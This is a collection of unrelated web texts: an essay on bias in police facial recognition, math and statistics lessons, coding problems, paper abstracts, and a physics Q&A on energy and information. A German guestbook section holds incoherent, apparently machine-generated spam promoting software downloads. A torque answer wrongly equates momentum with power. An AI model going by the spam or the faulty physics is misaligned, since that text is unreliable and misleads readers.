On the one hand, back in 2011 Eric Schmidt - then executive chairman of Google - claimed that the company wouldn’t develop any kind of facial recognition database, stating that it “cross[ed] the creepy line”. However, Schmidt cautioned that other companies wouldn’t be afraid to cross that line, and it wasn’t long before he was proven right. Amazon released its Rekognition platform for facial recognition in 2016, and has been explicitly marketing its technology to law enforcement agencies. These efforts have been successful, with Rekognition customers including national agencies like ICE as well as local police departments. Microsoft too, began pitching its services to law enforcement as early as 2017.
The unchecked proliferation of such technologies within government agencies is extremely concerning. In addition to the Orwellian-style surveillance that they enable, these technologies still have many unsolved failure cases that can lead to disastrous consequences when used by law enforcement. As we briefly touched on last week, academic research labs have demonstrated that these technologies have major performance issues when tested on persons of color, with error rates approaching 35% for dark-skinned women compared to less than 1% for white men. Similarly, an ACLU study found that Amazon’s Rekognition erroneously matched 28 members of Congress with publicly available mugshots. As with previous studies, once again persons of color were far more likely to be misclassified. The results of these studies aren’t due to researchers using pared-down models or inadequate computing infrastructure; the results were achieved across multiple “production-ready” systems available to the general public for purchase. Indeed, we’re already seeing real-life consequences of these shortcomings. In January Robert Julian-Borchak Williams, a black man, was arrested by the Detroit Police Department for a shoplifting crime he didn’t commit. The reason? A facial recognition system mistakenly identified him as the perpetrator. As a result of this algorithmic failure, he spent 30 hours in police custody, missing his first day of work in four years, and was forced to waste another day two weeks later to appear in court before the prosecutor dismissed the charges against him.
Why do these technologies fail in discriminatory ways? The short answer is that they’re prone to encoding their creator’s biases, whether conscious or otherwise. To better understand this phenomenon, let’s consider a technology from before the deep learning revolution: the Microsoft Kinect. The Kinect is an accessory originally designed for the Xbox 360 gaming console that added facial recognition and motion control to the console’s capabilities. The Kinect relied on so-called classical (i.e., pre-deep learning) computer vision algorithms handcrafted by domain experts to perform its work. In particular, to detect a user’s face, the accessory’s algorithm relied on the contrast between the face and the background. As such, some darker-skinned users had trouble with their faces not being recognized in poorly-lit environments. Notably, this problem only manifested with the accessory’s facial recognition capabilities and not with its gesture detection algorithms, which utilized infrared sensors that aren’t affected by lighting conditions. Because the Kinect’s algorithms were entirely designed by humans, it’s easy to understand why the Kinect failed in the way that it did. However, with deep learning in the mix, the situation gets more complicated.
Deep learning vision systems don’t rely on premade, hardcoded features in the way that classical computer vision algorithms do. Rather, when given a labelled dataset (e.g., images of cats and dogs), these systems adjust their parameters to learn to detect features (e.g., sharper ears vs. floppy ears) that distinguish classes of images from each other, without additional input from a human. How does this work? We can represent an $n \times m$ image as a matrix, $M \in \mathbb{R}^{n \times m}$. Convolutional neural networks, the workhorses of deep learning vision systems, learn a set of filter matrices. A filter is a smaller matrix (e.g. the $i$-th filter $F_{i} \in \mathbb{R}^{k \times k}$, with $k$ less than $m$ and $n$). A filter is meant to detect the presence of a specific feature (e.g. a type of edge or squiggle) in a given portion of an image. To do this, the filter is matrix-multiplied with that portion of the image. Moreover, the filter “slides” across whole the image, looking for its specific feature in all potential spatial locations, thereby finding all instances of the particular feature that the filter detects. Visually, if we have an image $M \in \mathbb{R}^{7 \times 7}$, and a filter $F_{i} \in \mathbb{R}^{3 \times 3}$, this procedure looks like the following, where we represent the filter’s current position using red text
$$\def\red#1#2{\color{red}{x_{#1#2}}} \def\ra{\color{red}\ba} \begin{bmatrix} \red{1}{1} & \red{1}{2} & \red{1}{3} & x_{14} & x_{15}& x_{16} & x_{17} \\ \red{2}{1} & \red{2}{2} & \red{2}{3} & x_{24} & x_{25}& x_{26} & x_{27} \\ \red{3}{1} & \red{3}{2} & \red{3}{3} & x_{34} & x_{35}& x_{36} & x_{37} \\ x_{41} & x_{42} & x_{43} & x_{44} & x_{45}& x_{46} & x_{47} \\ x_{51} & x_{52} & x_{53} & x_{54} & x_{55}& x_{56} & x_{57} \\ x_{61} & x_{62} & x_{63} & x_{64} & x_{65}& x_{66} & x_{67} \\ x_{71} & x_{72} & x_{73} & x_{74} & x_{75}& x_{76} & x_{77} \\ \end{bmatrix} \implies$$
$$\begin{bmatrix} x_{11} & \red{1}{2} & \red{1}{3} & \red{1}{4} & x_{15}& x_{16} & x_{17} \\ x_{21} & \red{2}{2} & \red{2}{3} & \red{2}{4} & x_{25}& x_{26} & x_{27} \\ x_{31} & \red{3}{2} & \red{3}{3} & \red{3}{4} & x_{35}& x_{36} & x_{37} \\ x_{41} & x_{42} & x_{43} & x_{44} & x_{45}& x_{46} & x_{47} \\ x_{51} & x_{52} & x_{53} & x_{54} & x_{55}& x_{56} & x_{57} \\ x_{61} & x_{62} & x_{63} & x_{64} & x_{65}& x_{66} & x_{67} \\ x_{71} & x_{72} & x_{73} & x_{74} & x_{75}& x_{76} & x_{77} \\ \end{bmatrix} \implies$$
$$\vdots$$
$$\begin{bmatrix} x_{11} & x_{12} & x_{13} & x_{14} & x_{15}& x_{16} & x_{17} \\ x_{21} & x_{22} & x_{23} & x_{24} & x_{25}& x_{26} & x_{27} \\ x_{31} & x_{32} & x_{33} & x_{34} & x_{35}& x_{36} & x_{37} \\ x_{41} & x_{42} & x_{43} & x_{44} & x_{45}& x_{46} & x_{47} \\ x_{51} & x_{52} & x_{53} & x_{54} & \red{5}{5} & \red{5}{6} & \red{5}{7} \\ x_{61} & x_{62} & x_{63} & x_{64} & \red{6}{5} & \red{6}{6} & \red{6}{7} \\ x_{71} & x_{72} & x_{73} & x_{74} & \red{7}{5} & \red{7}{6} & \red{7}{7} \\ \end{bmatrix}$$
Importantly, the features that the filters detect aren’t pre-specified by a human; during the training process the model learns to adjust its filters to detect discriminative features on its own. For example, if we want a model to detect the presence of a cat vs. a dog in an image, two potential filters might learn to detect straight lines vs. curvy ones. The curve filter being activated could indicate the presence of a dog (with their generally floppier ears) as opposed to the straight line filter, which would indicate the presence of a cat (with their sharper ears). However, despite the fact that these algorithms learn which features are discriminative without additional human input, such a procedure does not eliminate biases. Instead this leads to their manifesting in more subtle ways that can be harder to debug. For example, a common source of bias in deep learning systems is a result of biases in the data used to train them, as our filters only learn to fit to the data they’re given during the training process. As a toy example, let’s suppose that we wanted to train a model to predict the presence of a dog in a given image. If the data used to train the model only contained golden retrievers and no other dog breeds, then our model would learn filters to make a great golden retriever detector, but would likely fall apart when fed images of other dog breeds.
Similar phenomena are potentially behind the consistent problems that facial recognition systems have with darker-skinned faces; most large openly-available face datasets are dominated by Caucasian faces. Combine this with the fact that some historically marginalized racial groups are overrepresented in official crime records, and we have the ingredients for a system with the potential to massively amplify existing inequalites in policing. Dataset bias is just one of many ways that modern AI systems learn to encode human biases, and AI fairness is a whole field of research unto itself. For a deeper introduction to the field, I’d highly recommend this video series led by Timnit Gebru and Emily Denton, two research scientists on Google’s ethical AI team.
In an abrupt turn of events, against the backdrop of massive demonstrations against police brutality and racial injustice across the US, many large American tech companies that had been developing these systems, including Amazon, Microsoft, and IBM, have paused sales of these technologies to law enforcement agencies. However, the details of these actions vary from company to company. On the one hand, Microsoft has committed to stopping the sale of such technologies to law enforcement agencies until Congress regulates usage of them, and IBM has abandoned its efforts at developing the technology altogether. On the other hand, Amazon has only committed to a one-year moratorium on its sales of the technology. In other words, a year from now when the national spotlight on issues of racial justice may have faded, Amazon may be back to selling its platform to law enforcement as if nothing happened. Moreover, even though the larger companies attract the most press attention, their gestures are largely symbolic moves. Part of the reason why Amazon et al. have at least temporarily stopped selling their platforms is because they’re not the main players in the space, and their sales of facial recognition technology don’t represent a meaningful portion of their business. The business of facial recognition software for policing is instead dominated by a handful of lesser-known companies, such as Clearview AI, iOmniscient, and NEC. As such, despite the press around the tech megacorps’ recent decisions, it’s clear that more substantive action must be taken to stop the unchecked spread of these technologies.
Given the outstanding flaws in these systems and the severe consequences of their misuse, it’s clear that meaningful regulation is needed to protect the public from potential abuses by both government and the private sector. In an encouraging sign, local governments in tech hubs, including San Francisco, and Boston, have banned the use of facial recognition technologies entirely by local government agencies. Perhaps more significantly, Washington state recently became the first state to enact into law a comprehensive facial recognition bill. Rather than ban the technology outright, the bill requires that any real-time government facial recognition system come with an API that allows for independent third-party evaluation of the system, the system only be deployed after obtaining a warrant, and any results from the system must be verified by a human before taking action on them. The bill isn’t perfect - the ACLU has noted that it contains a broadly worded provision allowing the government to bypass the warrant requirement if “exigent circumstances exist” - but it’s far preferable to the lack of regulation in most areas of the country. At the federal level Congressional Democrats are attempting to reign in the use of facial recognition tech nationwide as part of the George Floyd Justice in Policing Act, though Senate Republicans and the Trump Administration have already declared their opposition to the bill.
Facial recognition technology is already shaping up to be a civil liberties disaster. The tech is known to have major flaws, with particularly bad impacts for historically disadvantaged communities. Moreover, despite these well-known flaws, the potential for profit is just too great for industry to self-regulate on usage of the technology. Without meaningful action from the federal government it’s near certain that, outside the few areas of the country with regulation already in place, the tech will spread unchecked and only exacerbate the issues that have led to the largest protests in recent US history.
Ethan Weinberger
### What is Honesty Is Best?
We find ourselves living in interesting times. This is a moment of great pain, incredible uncertainty, and collapsing realities — fertile soil for new ideas, new paths, and new institutions. Honesty Is Best brings people together to think about how we got here and to explore what we should do next in order to build a fundamentally better world on the uneven foundations upon which we are perched.
We will play host to a number of regular series about technology, policy, and culture spanning writing, podcasts, and video. Each of these series will be written or anchored by one or two people working actively in the specific area the series is about. The distinct style of each series will reflect that of its creators, with the common threads being a focus on concrete ideas and a commitment to telling the unvarnished truth as they see it.
We invite to explore and subscribe to our three current offerings:
Today in Indian History, a four-times weekly series about the context and consequences of events in India’s past written by Sahaj Sankaran, winner of Yale’s South Asian Studies Prize and Diane Kaplan Memorial Prize for his work in Indian history
Segfault, a twice-monthly podcast about Computer Science research hosted by Soham Sankaran, the founder of Pashi and a PhD student in Computer Science at Cornell
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Take a look at some recent work from Honesty Is Best, or subscribe via email for updates from all our series below:
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UVicSpace
# Compensation Functions for Shifts of Finite Type and a Phase Transition in the p-Dini Functions
dc.contributor.author Antonioli, John dc.date.accessioned 2013-09-03T17:57:30Z dc.date.available 2013-09-03T17:57:30Z dc.date.copyright 2013 en_US dc.date.issued 2013-09-03 dc.identifier.uri http://hdl.handle.net/1828/4896 dc.description.abstract We study compensation functions for an infinite-to-one factor code $\pi : X \to Y$ where $X$ is a shift of finite type. The $p$-Dini condition is given as a way of measuring the smoothness of a continuous function, with $1$-Dini corresponding to functions with summable variation. Two types of compensation functions are defined in terms of this condition. Given a fully-supported invariant measure $\nu$ on $Y$, we show that the relative equilibrium states of a $1$-Dini function $f$ over $\nu$ are themselves fully supported, and have positive relative entropy. We then show that there exists a compensation function which is $p$-Dini for all $p > 1$ which has relative equilibrium states supported on a finite-to-one subfactor. en_US dc.language English eng dc.language.iso en en_US dc.subject compensation functions en_US dc.subject ergodic theory en_US dc.subject symbolic dynamics en_US dc.subject thermodynamic formalism en_US dc.title Compensation Functions for Shifts of Finite Type and a Phase Transition in the p-Dini Functions en_US dc.type Thesis en_US dc.contributor.supervisor Quas, Anthony dc.degree.department Dept. of Mathematics and Statistics en_US dc.degree.level Doctor of Philosophy Ph.D. en_US dc.rights.temp Available to the World Wide Web en_US dc.description.scholarlevel Graduate en_US dc.description.proquestcode 0405 en_US
## Files in this item
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# Posts tagged as “matrix”
Given a m * n matrix of distinct numbers, return all lucky numbers in the matrix in any order.
A lucky number is an element of the matrix such that it is the minimum element in its row and maximum in its column.
Example 1:
Input: matrix = [[3,7,8],[9,11,13],[15,16,17]]
Output: [15]
Explanation: 15 is the only lucky number since it is the minimum in its row and the maximum in its column
Example 2:
Input: matrix = [[1,10,4,2],[9,3,8,7],[15,16,17,12]]
Output: [12]
Explanation: 12 is the only lucky number since it is the minimum in its row and the maximum in its column.
Example 3:
Input: matrix = [[7,8],[1,2]]
Output: [7]
Constraints:
• m == mat.length
• n == mat[i].length
• 1 <= n, m <= 50
• 1 <= matrix[i][j] <= 10^5.
• All elements in the matrix are distinct.
## Solution: Pre-processing
Two pass. First pass, record the min val of each row, and max val of each column.
Second pass, identify lucky numbers.
Time complexity: O(m * n)
Space complexity: O(m + n)
## C++
Write an efficient algorithm that searches for a value in an m x n matrix. This matrix has the following properties:
• Integers in each row are sorted in ascending from left to right.
• Integers in each column are sorted in ascending from top to bottom.
Example:
Consider the following matrix:
[
[1, 4, 7, 11, 15],
[2, 5, 8, 12, 19],
[3, 6, 9, 16, 22],
[10, 13, 14, 17, 24],
[18, 21, 23, 26, 30]
]
Given target = 5, return true.
## Solution 1: Two Pointers
Start from first row + last column, if the current value is larger than target, –column; if smaller then ++row.
e.g.
1. r = 0, c = 4, v = 15, 15 > 5 => –c
2. r = 0, c = 3, v = 11, 11 > 5 => –c
3. r = 0, c = 2, v = 7, 7 > 5 => –c
4. r = 0, c = 1, v = 4, 4 < 5 => ++r
5. r = 1, c = 1, v = 5, 5 = 5, found it!
Time complexity: O(m + n)
Space complexity: O(1)
## C++
Given a m * n matrix grid which is sorted in non-increasing order both row-wise and column-wise.
Return the number of negative numbers in grid.
Example 1:
Input: grid = [[4,3,2,-1],[3,2,1,-1],[1,1,-1,-2],[-1,-1,-2,-3]]
Output: 8
Explanation: There are 8 negatives number in the matrix.
Example 2:
Input: grid = [[3,2],[1,0]]
Output: 0
Example 3:
Input: grid = [[1,-1],[-1,-1]]
Output: 3
Example 4:
Input: grid = [[-1]]
Output: 1
Constraints:
• m == grid.length
• n == grid[i].length
• 1 <= m, n <= 100
• -100 <= grid[i][j] <= 100
## Solution 1: Brute Force
Time complexity: O(m*n)
Space complexity: O(1)
## Solution 2: Find the frontier
Time complexity: O(m+n)
Space complexity: O(1)
## C++
Given a m * n matrix mat of integers, sort it diagonally in ascending order from the top-left to the bottom-right then return the sorted array.
Example 1:
Input: mat = [[3,3,1,1],[2,2,1,2],[1,1,1,2]]
Output: [[1,1,1,1],[1,2,2,2],[1,2,3,3]]
Constraints:
• m == mat.length
• n == mat[i].length
• 1 <= m, n <= 100
• 1 <= mat[i][j] <= 100
## Solution: HashTable
Collect each diagonal’s (keyed by i – j) elements into an array and sort it separately.
If we offset the key by n, e.g. i – j + n, we can use an array instead of a hashtable.
Time complexity: O(m*n + (m+n) * (m+n) * log(m + n))) = (n^2*logn)
Space complexity: O(m*n)
## C++
Given a m * n matrix mat and an integer K, return a matrix answer where each answer[i][j] is the sum of all elements mat[r][c] for i - K <= r <= i + K, j - K <= c <= j + K, and (r, c) is a valid position in the matrix.
Example 1:
Input: mat = [[1,2,3],[4,5,6],[7,8,9]], K = 1
Output: [[12,21,16],[27,45,33],[24,39,28]]
Example 2:
Input: mat = [[1,2,3],[4,5,6],[7,8,9]], K = 2
Output: [[45,45,45],[45,45,45],[45,45,45]]
Constraints:
• m == mat.length
• n == mat[i].length
• 1 <= m, n, K <= 100
• 1 <= mat[i][j] <= 100
## Solution: 2D range query
Time complexity: O(m*n)
Space complexity: O(m*n)
## C++
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# Tag Info
### Calculating torque in planetary gearbox
Generally, torque is not applied to the individual planetary gears, just to the carrier that holds them. Unless you have an individual motor attached to each planet gear (physically possible, but ...
• 256
### What's the minimum torque needed for 2 DC motors for moving a 1 kg object on top of them?
one kilogram meters per second is 9.8 Watts. Ignoring the friction, this is the power you need. then divide by two and that's each motor. Then you need a motor drive controller which is available in ...
• 20.9k
I think the component force ($F_H$) is responsible in producing the torque.
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# Gästebuch
Hallo, liebe Gäste. Vielleicht ist dies ja wirklich der Beginn einer wunderbaren Freundschaft - man kann nie wissen. Wenn ihr es versuchen wollt, habt ihr 160 Zeichen, um mir das Wichtigste über euch zu sagen. Viel Spaß!
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JVC PRO 8000
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￭ Windows Vista or Win 7
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• nareumbu (Freitag, 20. Mai 2022 11:47)
There are two ways to create the automaton.
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• gituquen (Freitag, 20. Mai 2022 11:12)
XP SysPad was reviewed by Fabrizio Apricò, last updated on October 10th, 2014
Survey: All over the US, the productivity of employees is slowing - denzil_correa
======
rahimnathwani
The Figure. Frisk your system for all the bad guys! Let their murderous ways be thwarted by the GreyHatter!
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>.NB>
News. Pros:
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Cons:
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Download Atr Sync 1.00.512.000
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only
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4
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• jayddarc (Freitag, 20. Mai 2022 10:43)
Pros
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Cons
No suitability of apps, must run whenever PAS is installed.
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In sum, the app fixes the black screen Windows problem, eliminates the possibility of recurring during your computer operation, and is completely safe.
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• janephi (Freitag, 20. Mai 2022 10:13)
Windows XP users need not bother with it as well due to it lacking some important features such as Custom Support Unlock. Give this app a try for free from BlueStacks.
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• adeedori (Freitag, 20. Mai 2022 00:52)
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• amkadr soccerfit (Donnerstag, 19. Mai 2022 20:21)
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• noecers (Donnerstag, 19. Mai 2022 15:49)
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• deanphe (Donnerstag, 19. Mai 2022 14:43)
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• mjderella oeioswn (Donnerstag, 19. Mai 2022 13:41)
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• mareld (Mittwoch, 18. Mai 2022 22:23)
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• AlexWarton (Mittwoch, 18. Mai 2022 10:46)
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Opuscula Math. 36, no. 6 (), 717-734
http://dx.doi.org/10.7494/OpMath.2016.36.6.717
Opuscula Mathematica
Eigenvalue estimates for operators with finitely many negative squares
Abstract. Let $$A$$ and $$B$$ be selfadjoint operators in a Krein space. Assume that the resolvent difference of $$A$$ and $$B$$ is of rank one and that the spectrum of $$A$$ consists in some interval $$I\subset\mathbb{R}$$ of isolated eigenvalues only. In the case that $$A$$ is an operator with finitely many negative squares we prove sharp estimates on the number of eigenvalues of $$B$$ in the interval $$I$$. The general results are applied to singular indefinite Sturm-Liouville problems.
Keywords: selfadjoint operator, Krein space, finitely many negative squares, eigenvalue estimate, indefinite Sturm-Liouville operator.
Mathematics Subject Classification: 47A55, 47B50.
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# If a and B Are Acute Angles Such that Tan a =1/3, Tan B = 1/2 and Tan (A + B) = Show That A+B = 45^0 - Mathematics
If A and B are acute angles such that tan A =1/3, tan B = 1/2 and tan (A + B) = show that A+B = 45^0
#### Solution
Given:
tan A = 1/3 and tan B = 1/2
tan (A+B) = (tan A + tan B)/(1- tan A tan B)
On substituting these values in RHS of the expression, we get:
(tan A + tan B )/(1- tan A tan B) = ((1/3 +1/2))/((1-1/3xx1/3) =((5/6))/(1-1/6) = ((5/6))/((5/6))=1
⇒ tan (A + B) = 1= tan 45^0 [ ∵ tan 450 =1]
∴ A+B = 45
Concept: Trigonometric Ratios and Its Reciprocal
Is there an error in this question or solution?
#### APPEARS IN
RS Aggarwal Secondary School Class 10 Maths
Chapter 6 T-Ratios of some particular angles
Exercises | Q 16
Share
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# Multiplication to Exponentiation
Calculus Level 3
$\large 2^{x} = x^{2}$
How many distinct real values of $$x$$ satisfy the equation above?
Details and Assumptions:
• You are recommended to solve this problem without graphing the two equations.
×
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## 5.2 Bias, variance, and estimators
Here in (frequentist) statistics, we spend a lot of time thinking about True Quantities that we can never observe, which we often refer to as parameters. We’d like to estimate those quantities as best we can, based on some observed data. A function or formula that does this estimation is called an estimator. For example, an estimator for the mean of a normal distribution is $$\sum x_i /n$$, where the $$x_i$$’s are our observations drawn from that population.
Note the subtle difference between “estimator” and “estimate.” An estimator is a function. Once we actually plug numbers into it and get a result, that quantity is an estimate.
Honestly it’s not going to make a huge difference in your current life if you use one word or the other, but it’s nice to think about the distinction.
There are two properties that we (in general) want estimators to have:
• They should be close (on average/in expectation) to the thing they’re trying to predict, and
• they should vary as little as possible.
Ideally, they should, at least on average, be exactly equal to the thing they’re trying to estimate.
Let’s use some notation. Let $$\theta$$ be any True Quantity or parameter, and let $$\hat{\theta}$$ represent some estimator of it. We’d like $$E(\hat{\theta}) = \theta$$ (in which case $$\hat{\theta}$$ is called unbiased), and we’d like $$Var(\hat{\theta})$$ to be small.
But we might be willing to allow a little bias ($$Bias= E(\hat{\theta} - \theta) \ne 0$$) in exchange for some reduction in variance. Perhaps we could create a criterion that combines both of them?
We’ve used “MSE” in a few different places now! It showed up in the regression context, to represent the observed sum of squared errors divided by $$n-k-1$$. Then it appeared when we were talking about the average squared prediction error. Here, we think about MSE as a function or characteristic of an estimator. You’ll see that the underlying ideas are similar.
Indeed we can: the MSE! Here’s the definition of MSE in an estimator context:
\begin{aligned} MSE(\hat{\theta}) &\equiv E[(\hat{\theta} - \theta)^2]\\ &= E[({\hat{\theta}} - E(\hat{\theta}) + E(\hat{\theta}) - \theta)^2]\\ &= E[({\hat{\theta}} - E(\hat{\theta}))^2] + 2 E[(\hat{\theta}- E(\hat{\theta}))(E(\hat{\theta})- \theta)] + (E(\hat{\theta})-\theta))^2\\ &= Var(\hat{\theta}) + Bias(\hat{\theta},\theta)^2 \end{aligned}
Check out that notation: $$Bias(\hat{\theta},\theta)$$. This can be read as “the bias of $$\hat{\theta}$$ as an estimator of $$\theta$$.” Putting the $$\theta$$ in there just reminds us what the actual goal was – the quantity we’re trying to estimate :)
Note that the bias is squared in this expression, so that the units are the same as for the variance.
This is a sweet result – the actual mean squared error of the estimator breaks down into bias and variance components. But where did that irritating middle term go?
### 5.2.1 Optional math moment: proof of the MSE
First, notice that that middle term is an expectation. In $$E[(\hat{\theta}- E(\hat{\theta}))(E(\hat{\theta})- \theta)]$$, what’s random?
Answer: only $$\hat{\theta}$$. The expected value, $$E(\hat{\theta})$$, isn’t a random quantity; the expected value of the estimator is fixed, it’s just that we get different observed values of the estimator depending on the sample we use. So $$E(\hat{\theta}) - \theta$$ is a non-random constant (!) and you can pull it right out of the expectation:
\begin{aligned} E[(\hat{\theta}- E(\hat{\theta}))(E(\hat{\theta})- \theta)] &= (E(\hat{\theta})- \theta) \times E[\hat{\theta}- E(\hat{\theta})] \\ &= Bias(\hat{\theta})\times (E(\hat{\theta})- E(E(\hat{\theta})))\\ &=0 \end{aligned}
The bias may be non-zero, but $$E(\hat{\theta}) = E(E(\hat{\theta}))$$ (because $$E(\hat{\theta})$$ is a constant), so the second term is 0.
This is a great general proof trick – check for secret constants that come from expected values!
### 5.2.2 Okay we’re back
So we’ve shown that any estimator’s MSE can be split into a bias piece and a variance piece. This means that, if we agree to deal only with unbiased estimators, we can compare them just by looking at their variances.
Here’s a handy example: regression coefficients. We’ve previously noted that the least squares estimator of $$b_1$$ is unbiased: $$E(b_1) = \beta_1$$. This is true of all the least squares estimators of the $$b$$’s, even in multiple regression.
It turns out that, for the regression slope and intercept, the least squares estimators have the lowest possible variance of any unbiased linear estimators. This result is called the Gauss-Markov Theorem and I am not about to prove it here. It’s worth noting, though, that the proof relies on certain assumptions: $$E(\varepsilon_i)=0$$, $$Var(\varepsilon_i) = \sigma_{\varepsilon}^2$$, and $$Cov(\varepsilon_i,\varepsilon_j)=0$$.
Later in life you may come across things like BLUPs and MVUEs, but BLUEs are good enough for now.
The least squares estimators are therefore called BLUEs, for Best Linear Unbiased Estimators.
### 5.2.3 Predictions
Another context in which we are trying to estimate True Quantities is prediction. In this situation, our estimator is…whatever our model predicts given some set of predictor values $$\boldsymbol{x}_{\nu}$$, which we call $$\hat{y}_{\nu}$$. But what is it that we’re trying to estimate?
From one perspective, we’re trying to estimate the true average response for given predictor value(s): $$\hat{\mu}_{\nu}$$ given $$\boldsymbol{x}_{\nu}$$. (Look back at the notes on confidence intervals for predictions to see this notation!)
In that case, the difference between the True Quantity and our estimator is $$(\hat{\mu}_{\nu} - \hat{y}_{\nu})$$. That’s the difference between the value of the True Line (or whatever) given that $$\boldsymbol{x}$$, and our model’s prediction given that $$\boldsymbol{x}$$. So the MSE is:
$E(\hat{\mu}_{\nu} - \hat{y}_{\nu})^2 = Var(\hat{y}_{\nu}) + Bias(\hat{y}_{\nu}, \hat{\mu}_{\nu})^2$
But there’s another perspective we could take on this. Suppose the True Quantity we’re trying to estimate isn’t the average response $$\hat{\mu}_{\nu}$$, but a single, individual response value $$y_{\nu}$$ (still with predictor values $$\boldsymbol{x}_{\nu}$$). Just as we saw with prediction intervals vs. confidence intervals, there’s now an “extra error” involved: the variation of individual points around $$\hat{\mu}_{\nu}$$. So the MSE gets an extra piece:
$E(y - \hat{y}_{\nu})^2 = Var(\hat{y}_{\nu}) + Bias(\hat{y}_{\nu}, \hat{\mu}_{\nu})^2 + Var(\varepsilon)$
or in other words
$E(y - \hat{y}_{\nu})^2 = Var(\hat{y}_{\nu}) + Bias(\hat{y}_{\nu}, \hat{\mu}_{\nu})^2 + \sigma^2_{\varepsilon}$ This is the version the textbook uses. It’s practical because in the real world, we don’t have any actual data about $$\hat{\mu}_{\nu}$$; all we have is a sample of observed individual $$y$$ values. So those are what we use to calculate, say, the test MSE.
Of course, no matter what choices you make about modeling, you can never get rid of $$\sigma^2_{\varepsilon}$$ (that’s why we call it irreducible error). Such is life.
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# Question #33262
Oct 30, 2016
#### Explanation:
Given:
$f \left(x\right) = \frac{2}{x + 1}$
And:
$g \left(f \left(x\right)\right) = \frac{8}{x + 1}$
Find g(x):
Begin by finding ${f}^{-} 1 \left(x\right)$, because we know that:
$g \left(f \left({f}^{-} 1 \left(x\right)\right)\right) = g \left(x\right)$
Find ${f}^{-} 1 \left(x\right)$:
Substitute ${f}^{-} 1 \left(x\right)$ for $x$ in $f \left(x\right)$:
$f \left({f}^{-} 1 \left(x\right)\right) = \frac{2}{{f}^{-} 1 \left(x\right) + 1}$
By definition, substitute x for $f \left({f}^{-} 1 \left(x\right)\right)$:
$x = \frac{2}{{f}^{-} 1 \left(x\right) + 1}$
Multiply both sides of the equation by $\frac{{f}^{-} 1 \left(x\right) + 1}{x}$
${f}^{-} 1 \left(x\right) + 1 = \frac{2}{x}$
Subtract 1 from both sides:
${f}^{-} 1 \left(x\right) = \frac{2}{x} - 1$
Substitute $\frac{2}{x} - 1$ into $g \left(f \left(x\right)\right)$:
$g \left(f \left({f}^{-} 1 \left(x\right)\right)\right) = \frac{8}{\left(\frac{2}{x} - 1\right) + 1}$
Remove the ()s in the denominator:
$g \left(f \left({f}^{-} 1 \left(x\right)\right)\right) = \frac{8}{\frac{2}{x} - 1 + 1}$
-1 + 1 is zero:
$g \left(f \left({f}^{-} 1 \left(x\right)\right)\right) = \frac{8}{\frac{2}{x}}$
Perform the division:
$g \left(f \left({f}^{-} 1 \left(x\right)\right)\right) = 8 \left(\frac{x}{2}\right)$
Write the left side as $g \left(x\right)$ and simplify the right:
$g \left(x\right) = 4 x$
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# American Institute of Mathematical Sciences
June 2009, 2(2): 363-378. doi: 10.3934/krm.2009.2.363
## Double milling in self-propelled swarms from kinetic theory
1 ICREA-Departament de Matemàtiques, Universitat Autònoma de Barcelona, E-08193 Bellaterra, Spain 2 Department of Mathematics, California State University, Northridge, CA 91330-8313, United States, United States
Received December 2008 Revised March 2009 Published May 2009
We present a kinetic theory for swarming systems of interacting, self-propelled discrete particles. Starting from the Liouville equation for the many-body problem we derive a kinetic equation for the single particle probability distribution function and the related macroscopic hydrodynamic equations. General solutions include flocks of constant density and fixed velocity and other non-trivial morphologies such as compactly supported rotating mills. The kinetic theory approach leads us to the identification of macroscopic structures otherwise not recognized as solutions of the hydrodynamic equations, such as double mills of two superimposed flows. We find the conditions allowing for the existence of such solutions and compare to the case of single mills.
Citation: José A. Carrillo, M. R. D’Orsogna, V. Panferov. Double milling in self-propelled swarms from kinetic theory. Kinetic & Related Models, 2009, 2 (2) : 363-378. doi: 10.3934/krm.2009.2.363
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2019 Impact Factor: 1.311
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is there a fundamental relationship between energy and information
I seems that in general that information is not conserved as opposed to energy, so any direction relationship seems unlikely but perhaps it is expressed in the quantum or other non-classical realm of physics?
• Why would you suspect such a relationship to exist? – ACuriousMind Mar 17 '18 at 22:16
• Maybe you're looking for Landauer's principle. (Although that directly isn't an answer to your question) – user139621 Mar 17 '18 at 22:16
• Possible duplicate of: physics.stackexchange.com/questions/38368/… – user139621 Mar 17 '18 at 22:20
• Why do you not think information is not conserved? The whole black hole information paradox is based on the idea that normally information is conserved and violations are serious business. This is because quantum mechanics runs on unitary operators that do preserve information. It is just that in uncontrolled interactions the information tends to "leak" into the environment and becomes irretrievable. – Anders Sandberg Mar 17 '18 at 23:48
Actually, Scott Aaronson gave a clear (if heuristic) argument for this in his essay on whether "information is physical" is contentful. He has an argument for the Bekenstein bound, stating that the amount of information inside a sphere of radius $R$ with total energy $E$ is less than $kRE$ for some big constant $k$. Scotts argument (some shortening on my part):
1. Relativity ... demands that, in flat space, the laws of physics must have the same form for all inertial observers (i.e., all observers who move through space at constant speed).
2. Anything in the physical world that varies in space—say, a field that encodes different bits of information at different locations—also varies in time, from the perspective of an observer who moves through the field at a constant speed.
3. Combining 1 and 2, we conclude that anything that can vary in space can also vary in time. Or to say it better, there’s only one kind of varying: varying in spacetime.
4. More strongly, special relativity tells us that there’s a specific numerical conversion factor between units of space and units of time: namely the speed of light, c. ...
5. Anything that varies across time carries energy. Why? Because this is essentially the definition of energy in quantum mechanics! Up to a constant multiple (namely, Planck’s constant), energy is the expected speed of rotation of the global phase of the wavefunction, when you apply your Hamiltonian. ... No energy means no looping around means nothing ever changes.
6. Combining 3 and 5, any field that varies across space carries energy. More strongly, combining 4 and 5, if we know how quickly a field varies across space, we can lower-bound how much energy it has to contain.
7. In general relativity, anything that carries energy couples to the gravitational field. This means that anything that carries energy necessarily has an observable effect: if nothing else, its effect on the warping of spacetime. ...
8. Combining 6 and 8, any field that varies across space couples to the gravitational field.
9. More strongly, combining 7 and 8, if we know how quickly a field varies across space, then we can lower-bound by how much it has to warp spacetime. This is so because of another famous (and distinctive) feature of gravity: namely, the fact that it’s universally attractive, so all the warping contributions add up.
10. But in GR, spacetime can only be warped by so much before we create a black hole: this is the famous Schwarzschild bound.
11. Combining 10 and 11, the information contained in a physical field can only vary so quickly across space, before it causes spacetime to collapse to a black hole.
Note that this shows that if you want to have information stored in a field - and in quantum field theory this is all that is available - then there is going to be a required amount of energy and space to keep it. The converse might not be true: you could perhaps have a lot of energy that contains no information.
As for conservation, energy is only locally conserved in general relativity, while in the general case it is not conserved. Information is conserved in quantum mechanics because the evolution of the Hamiltonian and whatever unitary operators you apply are all time-reversible. In practice information tends to leak and apparently randomise when quantum systems touch their environment, and since spacetime is at least approximately time-invariant energy looks pretty conserved.
